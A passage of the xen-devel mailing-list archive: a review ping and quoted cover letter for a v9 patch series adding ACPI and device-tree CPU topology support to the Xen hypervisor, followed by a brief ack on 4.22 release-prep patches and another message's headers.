 b=fOgaNcVfvKXOGsG1B/+wKV+07nq0yDWj251uvP1KfEJnEW7SQ78isxmYcyNPovaEc4qvoJUdrhBMpHIX7JOUeiBDPbaZIWrmLNkQo2i/iggBa1fVaywr1CcxE+9B6iJ//muAiiU7GCiyaExGfhnA3epGtz8B+Zo/U/lnIQWZvCEBWXIcA2i0R26cB6UwpFKTcFoeipUtkhGZnjtpJYBHVIty8cS1XpX8HcDegnKQPeRldjEIMkTYJFBl6HtM5+5gwOBKWuF1uvGGNGwa7Vfr7hzbsHrrsTkKRlo2SU9YaabKiDpKpUEvy81edjdtD3fDY3Jv/efbpdsGHNq/XsoRXQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=iaqtcshLVbhaD1dcz/UCxo6ZgW22nISirEcg/cTrN4M=;
 b=VAcCY21E5q6qYXkUO1zNZne22q4qUd6o6VRuUtGINyEjQax/Kj4WVhsYXsAS5Gdcc4QuOlv5cRBHWIyc1AHGYCwBAvIodDhX7a1cvSUaCQk+SgkIiOcrTTvB9HMY1njocYu11qKOSTWsxm455R3VWaQrHOnd41ltFllvg2jO7+I=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: RE: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU
 topology support for ACPI and DT
Thread-Topic: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU
 topology support for ACPI and DT
Thread-Index: AQHdHk7kiFOoxTQzWEaKzsYc0MFEnraExJPg
Date: Wed, 29 Jul 2026 17:47:38 +0000
Message-ID:
 <TY7P286MB72344CE250A2232A4E3C06AE82CA2@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
References: <20260728050642.411240-1-taka@valinux.co.jp>
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: TY7P286MB7234:EE_|OS7P286MB8085:EE_
x-ms-office365-filtering-correlation-id: f3a8df4e-d591-4142-06e5-08deed997b01
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|376014|23010399003|1800799024|38070700021|29003799003|6133799003|11146099003|25016099003|56012099006|10067099003|3023799007|22082099003|18002099003;
x-microsoft-antispam-message-info:
 84eITXfIYjEu+rESgODDHRQeGZsdKHDM1vl1tckRiN4csep0TxJFaHhxJrkajQkeBURu3iQ+0FdA4qA0RNHEJo9xdIAzQHDtHBR00wYx5dsqpY+prt9QkjX1eSUxDUGyy/q6hRmpfd+oz60Wr6rZw24nbx9khL4lEn4q8P4+MWYxNLRzDtPG1Hmn710+aspapTSj8nGaMaopLt0awjuyrZsOCiqIPDUbTBUYZr/N8+020KQu2BpGZgMOip/SpDBARGA1WowWt8CAW90+F3lu0eP8k+ynznVxtw4l9TkQ35iS4jOMF6XmYVKJcVTXAG9igRBbVwN2IqAg1z1DARMLLs5RtzFgwCuP9OkNGXoAVkJHfS+pvyeGhNne0bABybwnFpRY7VpY7IXkfV4BkCN8VmCwo6yxe/LtPJRkTXgnTPkqw1K+C/JTnFCKLEdhu4YZGGneaIolNl+APKqH0taIlGpihOGbo4Ks/XFsdTlhL1d2jMOBx2in7ZRlovUajXaZA0PHY80k7xNrWoF1YGsyDyztR0rX4vZKHDLty+9poJY+kE5B9fv+nzAlyzElj6HXQGu0ecMq/xHdE3duBI7ykCW5E9SJ2Gwk94vSEGqNQ45PJaAsh0GWX1EbafpcbZW4Cwhiv+D/j7RfDxUyxkTmJUR7YMdMcS2pReKVQZvk/Xc=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(23010399003)(1800799024)(38070700021)(29003799003)(6133799003)(11146099003)(25016099003)(56012099006)(10067099003)(3023799007)(22082099003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?us-ascii?Q?QjdYoyg74jMcb/m9J1YUcA6/K/iWDndKH5MvTQHP2lJ57GP3hGiMmhpO43bR?=
 =?us-ascii?Q?4Hkc46UhP8/uADjjUBNKhwthUZgRsJCtexin07I9vPdoPkQ7YWJfMgJDA9zO?=
 =?us-ascii?Q?gYJTYGPdVzvsMe2BQG/EckBA3bLVXyQgjHnnPI3XPX3g7okcwfVkRl0Par3A?=
 =?us-ascii?Q?00zLy3wkjLPmZGPtfQBYXzQNkotpaALkoZ3mlqlYTcYHoDjC255CwJ7owG2K?=
 =?us-ascii?Q?n7Qg5n8N1vzIBpwNHKNAzmoMvMwqe+sK96/sKq62NyeA8SvP0iVVFCT1I3Zt?=
 =?us-ascii?Q?Qy8Po0xtaLnIln4IY3Z3q2vPP+ZBZ85oRLsyQQeURjvZ1tbOTpb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=?us-ascii?Q?n53mqQCSRwG9LA6zFF3Dah5Xtu2H0pMF8pT3bfuRVjR3+NEl8L6IvJmDmgCk?=
 =?us-ascii?Q?QwgtUZ/WkWNeHhThDYtzGcbk0uWyjKM5704bFtK21MuZHwySj0yP3R44yrRm?=
 =?us-ascii?Q?kgOj177sQtrKQbFvgNwsCdPlwSgHZgsQtsCo3ZTywuKoHkMGVdQPbm58L1j4?=
 =?us-ascii?Q?XRkjPdgCmQAgoD3h2N06q8d2M3pAbgmgtvOV331aYiU5sYNl8HkZwNxKfVrc?=
 =?us-ascii?Q?ATXB16u+TR9UkZiPORri76D4jsl41brYl4iuM1YaVfmadq6Pj0shkoi9bALw?=
 =?us-ascii?Q?ISdYMAPH9wtVHFTmGU5EgyFg2RlwvU15mtG21Mvhu2w/25nOMXOxubQqybHX?=
 =?us-ascii?Q?ZWQefU7Kf4V7muRAkvrAheyBiBeV49u58lh3v0U8/K+qowGUgs062uuhZMHB?=
 =?us-ascii?Q?v/+1mbdfAdtqKaZhz3brj4N2VodndUSAJXf0fgsHZngCX1PXNLpAgfC/mREv?=
 =?us-ascii?Q?Bhz+wjBFiCGlRcYKBjN+JGkbUJYHGwLKPyvsBy8jKfZ5F3sM?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: f3a8df4e-d591-4142-06e5-08deed997b01
X-MS-Exchange-CrossTenant-originalarrivaltime: 29 Jul 2026 17:47:38.2105
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 9vQ2SLIdXJaTf3TaS2k84EARQuSO3GhmkDy7iXsdCuHSijhlmhUf1kjP9NVFKifu0/mUpw7kaW+vaC2tAyzniA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB8085
X-purgate-ID: tlsNG-33051d/1785347264-7448C4E9-A1EE3AC3/0/0
X-purgate-type: clean
X-purgate-size: 12767

Hi Stefano, Julien, Bertrand and Michal,

When you have a moment, could you please taka a look at the following
series and give me your feedbak.

Link to v9 series: https://old-list-archives.xenproject.org/archives/html/x=
en-devel/2026-07/msg01208.html

Thanks,
Hirokazu Takahashi.

> -----Original Message-----
> From: Hirokazu Takahashi <taka@valinux.co.jp>
> Sent: Tuesday, July 28, 2026 2:07 PM
> To: xen-devel@lists.xenproject.org
> Cc: Mykyta_Poturai@epam.com; Hirokazu Takahashi <taka@valinux.co.jp>
> Subject: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU topol=
ogy
> support for ACPI and DT
>=20
> Hello,
>=20
> This patch series integrates CPU topology discovery into the Xen hypervis=
or
> for both ACPI and Device Tree platforms.
>=20
> Changes in v9:
>  - Add bounds checking for the number of private resources in the PPTT
>    processor table.
>  - Verify the validity of entries when indexing into the map_cpu_acpiid t=
able.
>  - Coding style adjustments (following Xen standards):
>    * Place logical operators ('||', '&&') at the end of lines when splitt=
ing
>      multi-line conditions.
>    * Place arithmetic operators ('+', '-') at the end of lines when wrapp=
ing
>      long assignment statements.
>    * Enclose bitwise operations in parentheses within conditional express=
ions
>      that combine logical operators.
>    * Combine variable declaration and initialization where applicable.
>=20
> Changes in v8:
> - PPTT Table Validation & Hardening:
>   * Relaxed processor node length check to allow
>     proc->header.length >=3D table_size.
>   * Treated root nodes (nodes with parent =3D=3D 0) as equivalent to
>     ACPI_PPTT_PHYSICAL_PACKAGE nodes.
>=20
> - Build & Kconfig Adjustments:
>   * Removed leftovers of ACPI_CPU_TOPOLOGY definition from
>     xen/drivers/acpi/Kconfig.
>=20
> - Code Cleanups & Style Conformance:
>   * Moved INVALID_ACPIID definition to xen/acpi.h to make it available
>     cross-architecture.
>   * Removed ARM-specific references from comments in
>     architecture-agnostic code.
>   * Added explicit parentheses around bitwise operations in logical
>     expressions.
>   * Placed binary logical operators (||, &&) at the end of lines when
>     splitting conditional statements.
>   * Combined variable declarations and initializations where appropriate.
>   * Removed trailing full stops ('.') from printk log messages.
>   * Fixed printk format specifier mix-up.
>   * Explicitly included <xen/cpu-topology.h> in xen/common/cpu.c.
>=20
> Changes in v7:
> - PPTT Table Validation & Hardening:
>   * find_pptt_node(): Added leaf node verification (ACPI 6.3+).
>   * acpi_init_cpu_topology(): Added bounds checks to ensure proc->parent
>     validly references memory strictly inside the PPTT table bounds.
>   * Factored out shared table checking helper functions used by both
>     find_pptt_node() and acpi_init_cpu_topology().
>   * Added subtable alignment checks and strengthened processor structure
>     size validation.
>=20
> - Graceful Fallback & Allocation:
>   * Treated missing topology definitions as benign conditions.
>   * Used xvzalloc_array() for temporary memory allocations during
>     initialization.
>=20
> - Build & Kconfig Adjustments:
>   * Updated Kconfig to use "depends on UNSUPPORTED" instead of "if  UNSUP=
PORTED".
>=20
> - Code Cleanups & Style Conformance:
>   * Used designated initializers for structure data initializations.
>   * Consolidated topology helpers with IS_ENABLED().
>   * Removed redundant error checks and reduced unnecessary pointer casts.
>   * Switched type-based sizeof(type) to variable-based sizeof(*var).
>   * Added leading spaces before labels ( out:)
>=20
> Changes in v6:
>  - Renamed the series subject from "xen/arm: Device Tree based CPU topolo=
gy
>    support" to reflect the inclusion of generic ACPI PPTT topology parsin=
g.
>=20
>  - Infrastructure & Kconfig:
>    * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
>      select GENERIC_CPU_TOPOLOGY.
>    * Ensured that if topology parsing from either DT or ACPI PPTT fails, =
the
>      CPU topology table is freed to fall back to the non-topology behavio=
r.
>    * Moved the `cpu_topology` definition to `cpu.c` so that variables and
>      functions in `cpu-topology.c` can be completely freed after Xen init=
.
>=20
>  - Topology Logic (DT / ACPI):
>    * Set the cluster ID to 0 when the cluster definition is missing from =
the
>      Device Tree `cpu-map` node.
>    * Handled cases where cluster info is missing upon reaching a physical
>      package in the PPTT parser by assuming one cluster per socket.
>    * Split out the import of ACPI PPTT definitions from the Linux kernel
>      (including unused definitions) into a separate standalone patch.
>=20
>  - Robustness & Safety:
>    * Avoided assuming `np` becomes NULL after exiting `dt_for_each_child_=
node()`;
>      explicitly return NULL instead.
>    * Added bounds-checking `ASSERT`s for values returned by `cpumask_firs=
t()`.
>    * Added explicit braces `{}` to nested `if` statements to clarify `els=
e`
>      scoping and maintain style symmetry.
>    * Enforced an upper limit on the PPTT parsing loop iterations to preve=
nt
>      infinite loops on corrupted tables.
>    * Treat the absence of a physical package node definition in PPTT as a
>      parsing error.
>=20
>  - Optimization & Efficiency:
>    * Optimized `setup_siblings_masks()` to eliminate redundant loop itera=
tions.
>    * Dynamically allocate the temporary data storage used during ACPI PPT=
T
>      parsing.
>=20
>  - Code Cleanup & Refactoring:
>    * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` m=
acro.
>    * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID=
`.
>    * Added a blank line between `<xen/...>` and `<asm/...>` header groups=
.
>    * Reordered `#ifdef` blocks to prioritize generic logic over architect=
ure-
>      specific ones.
>    * Corrected code indentation.
>    * Applied the `static` specifier to file-local data structures and fun=
ctions.
>    * Minimized the use of fixed-width `uint32_t` types, restricting its u=
se only
>      where strictly required by the 32-bit ACPI ID specification.
>    * Declared `map_cpu_acpiid[]` as static and introduced the helper func=
tion
>      `acpi_map_cpu_acpiid()` for managed access.
>    * Renamed local variables to more intuitive names.
>    * Simplified the implementation of `get_logical_id()`.
>    * Refactored PPTT parsing to reduce type casting by using `container_o=
f()`
>      and switching from `char *` to `void *` pointers.
>    * Removed redundant error checks.
>    * Cleaned up unused variables and eliminated debug print statements.
>=20
> Changes in v5:
>  - Extracted CPU topology information from the ACPI PPTT.
>  - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
>    CONFIG_GENERIC_CPU_TOPOLOGY.
>=20
> Changes in v4:
>  - Only display the CPU topology configuration prompt in common/Kconfig
>    if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
>  - Move the definition of the global 'cpu_topology' pointer to
>    common/cpu-topology.c.
>  - Update the Makefile to explicitly build objects as .init.o when all
>    functions and data within a file are annotated with __init/__initdata,
>    ensuring their memory is reclaimed after system initialization.
>  - Add an error log in the CPU-to-node mapping function for out-of-bounds
>    cases.
>  - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
>  - Rename variables and functions to avoid ambiguous or misleading terms:
>    - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructi=
ons.
>    - Avoid 'node' where it could be confused with a NUMA node, explicitly
>      renaming them to clarify they refer to a Device Tree node.
>  - Move local variable declarations into the narrowest possible scope.
>  - Replace the unsupported "%pOF" printk format specifier with "%s" and
>    explicit node name retrieval.
>  - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
>    the header directly includes only what its definitions require.
>  - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
>    it with a forward declaration of 'struct dt_device_node'.
>  - Use 'const' qualifiers for pointer declarations where the pointed-to
>    structure is not modified.
>  - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
>    that arch-specific definitions of cpu_to_core() and cpu_to_socket()
>    take precedence over the generic fallbacks.
>  - Introduce inline initialization functions for cpu_sibling_mask and
>    cpu_core_mask in cpu-topology.h, providing separate variants for both
>    when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.
>=20
> Changes in v3:
>  - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the spars=
e
>    map mismatch issue on ARM Xen has been split out into a separate patch=
.
>  - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
>  - Allow the system to keep running with a degraded fallback even if
>    the topology table allocation fails.
>  - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
>    from RISC-V and PPC processor.h.
>  - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
>    Elimination (DCE) where possible.
>  - Clean up the code to follow the Xen coding style. Please let me know
>    if I missed any style nits!
>  - Verify successful builds across x86, RISC-V, and PPC environments.
>=20
> Changes in v2:
>  - Generate topology information even when ACPI is enabled. Note that
>    this is a temporary implementation and doesn't yet parse the PPTT
>    (Processor Properties Topology Table).
>  - Added support for cpu-map node in Device Tree that doesn't contain
>    explicit cluster node definitions.
>=20
> Changes in v1 from the previous series "Introduce Device Tree based NUMA
> support for ARM Xen":
>=20
> 1. Optimized Memory Allocation:
>    The series now allocates only the minimum required memory area to mana=
ge
>    the essential data for the CPUs.
>=20
> 2. Flexible Device Tree Parsing:
>    The parsing logic no longer depends on the definition order of the 'cp=
u'
>    nodes and 'cpu-map' nodes in the Device Tree. They can now be read
>    correctly even if their orders do not match.
>=20
> 3. CPU Hotplug Readiness:
>    To support future CPU hotplug, the system assumes that inactive CPUs a=
re
>    also described in the Device Tree. Xen will pre-load and generate the
>    topology information for these inactive CPUs during the boot phase so
>    it stays available in memory.
>=20
> Thank you,
> Hirokazu Takahashi
>=20
> Hirokazu Takahashi (4):
>   xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
>   xen/sched: Link CPU topology to scheduler
>   xen/sched: Make cpu_nr_siblings() architecture-specific
>   xen/acpi: Parse PPTT to initialize CPU topology
>=20
>  xen/arch/arm/Kconfig                   |   1 +
>  xen/arch/arm/acpi/boot.c               |   2 +
>  xen/arch/arm/include/asm/processor.h   |   4 -
>  xen/arch/arm/smpboot.c                 |  15 +-
>  xen/arch/ppc/include/asm/processor.h   |   4 -
>  xen/arch/riscv/include/asm/processor.h |   4 -
>  xen/arch/x86/include/asm/acpi.h        |   2 -
>  xen/arch/x86/include/asm/processor.h   |   1 +
>  xen/common/Kconfig                     |  22 ++
>  xen/common/Makefile                    |   1 +
>  xen/common/cpu-topology.c              |  62 ++++
>  xen/common/cpu.c                       |   5 +
>  xen/common/device-tree/Makefile        |   1 +
>  xen/common/device-tree/cpu-topology.c  | 409
> +++++++++++++++++++++++++
>  xen/common/sched/credit2.c             |  21 +-
>  xen/common/sysctl.c                    |   1 +
>  xen/drivers/acpi/Makefile              |   1 +
>  xen/drivers/acpi/topology.c            | 341
> +++++++++++++++++++++
>  xen/include/xen/acpi.h                 |  17 +
>  xen/include/xen/cpu-topology.h         |  76 +++++
>  xen/include/xen/dt-cpu-topology.h      |  35 +++
>  21 files changed, 987 insertions(+), 38 deletions(-)
>  create mode 100644 xen/common/cpu-topology.c
>  create mode 100644 xen/common/device-tree/cpu-topology.c
>  create mode 100644 xen/drivers/acpi/topology.c
>  create mode 100644 xen/include/xen/cpu-topology.h
>  create mode 100644 xen/include/xen/dt-cpu-topology.h
>=20
> --
> 2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 18:22:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 18:22:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376556.1623234 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp8uw-0003iW-Kl; Wed, 29 Jul 2026 18:22:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376556.1623234; Wed, 29 Jul 2026 18:22:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp8uw-0003iP-Hp; Wed, 29 Jul 2026 18:22:10 +0000
Received: by outflank-mailman (input) for mailman id 1376556;
 Wed, 29 Jul 2026 18:22:09 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wp8uv-0003iD-Of
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:22:09 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp8uu-00FNc1-2o;
 Wed, 29 Jul 2026 18:22:08 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wp8uu-003gbN-0o;
 Wed, 29 Jul 2026 18:22:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=STOKVkxy2r0lkEGJiNAdPP65nW9fq2OODTF9V606+es=; b=xMmUxXVL5u0/++4Oov7ie4TjRa
	X2PF+5nYx1yyzjLl3mCGgq8kC/PEbBHPzO3CdgYIOSFaWedeFCXzGKNqprpv6ctgCREqGt6+xc0AO
	MNTSeclpJohtiVmTLeEKuRdLL8gG7JBg+nFq15Ucf4bFJM6LOjTmm368bBlYha8wNryQ=;
Date: Wed, 29 Jul 2026 20:22:00 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH for-4.22 0/2] Final prep
Message-ID: <ampEyLOeoWdl4R4U@macbook.local>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260729161529.164017-1-andrew.cooper3@citrix.com>

On Wed, Jul 29, 2026 at 05:15:27PM +0100, Andrew Cooper wrote:
> Andrew Cooper (2):
>   CHANGELOG: Set release date for 4.22
>   SUPPOT: Define support lifetime
> 
>  CHANGELOG.md |  2 +-
>  SUPPORT.md   | 10 +++++-----
>  2 files changed, 6 insertions(+), 6 deletions(-)

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 18:39:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 18:39:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376574.1623243 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Bl-00062a-Vp; Wed, 29 Jul 2026 18:39:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376574.1623243; Wed, 29 Jul 2026 18:39:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp9Bl-00062T-TE; Wed, 29 Jul 2026 18:39:33 +0000
Received: by outflank-mailman (input) for mailman id 1376574;
 Wed, 29 Jul 2026 18:39:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp9Bk-00062N-5i
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:39:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp9Bj-008Smr-Ev
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 20:39:31 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a48de-5cb7-0a2a0a5109dd-0a2a450b9572-2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:39:31 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a48e3-b7e8-0a2a450b0019-d1558031e119-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 20:39:31 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-49554ebb87dso11528525e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:39:31 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4625161sm170448405e9.14.2026.07.29.11.39.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 11:39:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785350371; x=1785955171; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=0o3WKA+DQNSW+4GnXInmR3MzrRl1OIx7G6UHR22Bcvc=;
        b=WG9VgvKOteurcg+SnkZQleBIjD3N+Dtk1JEmLJPtWOdCvK4wTbWYQXml7vgNgW4AKV
         fU4VIfajHY4lTsFwSYnOWxXJycAfFADKRFmKzuQVXlW8HwBTDJYibEb9xk6k7KSDgsjt
         pFGDlEcmAdVp8x5CCXmauXMvth+FT3gnQE3t3BXTnub9Fn5y815zYoK6jMzkt/sbN8dW
         uarRj842RmVQ0YMglhtMPanmNSNzLZjbdN3MiVSw1350RnLyDG4wZ2hTnlvopOJmL9RE
         BTZmnlz5yu5kJfC3+Pl24mngZOKi6JIGRJTgVZJiYpeFNnuFX0awPJU+NyMcmidVcMdJ
         bXeQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785350371; x=1785955171;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=0o3WKA+DQ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zCxrIr5b9vWCEQwzDm4WVRSrdDFEwx3Gc4qHEIb0=
X-Received: by 2002:a05:600c:4686:b0:495:4d00:2fc0 with SMTP id 5b1f17b1804b1-496c65458bamr87308155e9.12.1785350370648;
        Wed, 29 Jul 2026 11:39:30 -0700 (PDT)
Message-ID: <9ad68791-2e77-4bd4-a7d1-3ce10a70e0eb@gmail.com>
Date: Wed, 29 Jul 2026 20:39:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] SUPPOT: Define support lifetime
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Cody Zuschlag <cody.zuschlag@gmail.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
 <20260729161529.164017-3-andrew.cooper3@citrix.com>
 <amopYL9OuFaMODDR@macbook.local>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <amopYL9OuFaMODDR@macbook.local>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1785350371-184CB9EA-E7CD242F/10/73395122804
X-purgate-type: spam
X-purgate-size: 2015



